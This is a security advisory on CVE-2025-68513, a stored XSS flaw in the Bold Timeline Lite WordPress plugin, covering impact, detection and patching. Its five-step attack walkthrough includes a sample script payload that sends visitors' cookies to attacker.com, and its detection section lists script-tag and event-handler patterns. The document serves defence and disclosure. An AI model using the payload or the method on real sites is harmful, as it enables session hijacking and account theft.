CVE-2025-68513: 
WordPress vulnerability analysis and mitigation

CVE-2025-68513 is a Stored Cross-Site Scripting (XSS) vulnerability in the Bold Timeline Lite WordPress plugin by boldthemes. It affects all versions up to and including 1.2.7, and was reported by researcher "zaim" on November 27, 2025, with public disclosure on December 24–27, 2025. The vulnerability carries a CVSS v3.1 base score of 6.5 (Medium) (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a Stored XSS variant. An authenticated attacker with at least Contributor or Developer-level privileges can inject malicious scripts into the plugin's timeline content, which are then persistently stored and executed in victims' browsers when they visit affected pages. Exploitation requires low attack complexity but does require user interaction — a privileged user must view the page containing the injected payload (Patchstack).

Successful exploitation allows an attacker to inject and persistently store malicious JavaScript, HTML redirects, or advertisement payloads within the WordPress site, which execute in the browsers of any visitor — including administrators. This can lead to session hijacking, credential theft, defacement, or further compromise of the WordPress site and its users. The changed scope in the CVSS vector indicates that the impact extends beyond the plugin itself to the broader web application and its visitors (Patchstack).

No public proof-of-concept exploit code or active in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack notes that vulnerabilities of this class are sometimes used in mass-exploit campaigns targeting WordPress sites at scale, regardless of site popularity (Patchstack).

1. Reconnaissance: Identify WordPress sites running Bold Timeline Lite version 1.2.7 or earlier using tools like WPScan or Shodan.
2. Obtain low-privilege access: Acquire or register a Contributor or Developer account on the target WordPress site.
3. Inject malicious payload: Navigate to the Bold Timeline Lite plugin's content editor and insert a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a timeline entry field that lacks proper sanitization.
4. Publish content: Save or publish the timeline entry, causing the malicious script to be stored in the WordPress database.
5. Trigger execution: When any site visitor (including administrators) views the page containing the compromised timeline, the injected script executes in their browser, potentially stealing session cookies or performing actions on their behalf (Patchstack).

• Logs: WordPress access logs showing POST requests to timeline content creation/editing endpoints from low-privilege accounts, particularly with encoded or obfuscated script tags in request bodies.
• File System: Unexpected modifications to WordPress database entries associated with Bold Timeline Lite plugin content containing <script>, javascript:, or event handler attributes (e.g., onerror, onload).
• Network: Outbound requests from site visitors' browsers to unknown external domains shortly after loading pages containing Bold Timeline Lite content, potentially indicating cookie or credential exfiltration.
• Application: Presence of unexpected JavaScript payloads within rendered timeline HTML on the front end of the WordPress site.

The vendor has released version 1.2.8 of Bold Timeline Lite, which patches this vulnerability. Site administrators should update the plugin to version 1.2.8 or later immediately via the WordPress admin dashboard. If an immediate update is not possible, consider temporarily disabling the Bold Timeline Lite plugin or restricting Contributor/Developer role access until the patch can be applied. Patchstack users can enable auto-update for vulnerable plugins as an additional safeguard (Patchstack).

Patchstack, which coordinated the disclosure, classifies this as a low-priority issue with unlikely exploitation impact, and credited researcher "zaim" for the discovery. The vulnerability was included in Wordfence's weekly WordPress vulnerability report covering December 15, 2025 to January 4, 2026, and was summarized in a CISA weekly vulnerability digest for the week of December 22, 2025 (Patchstack).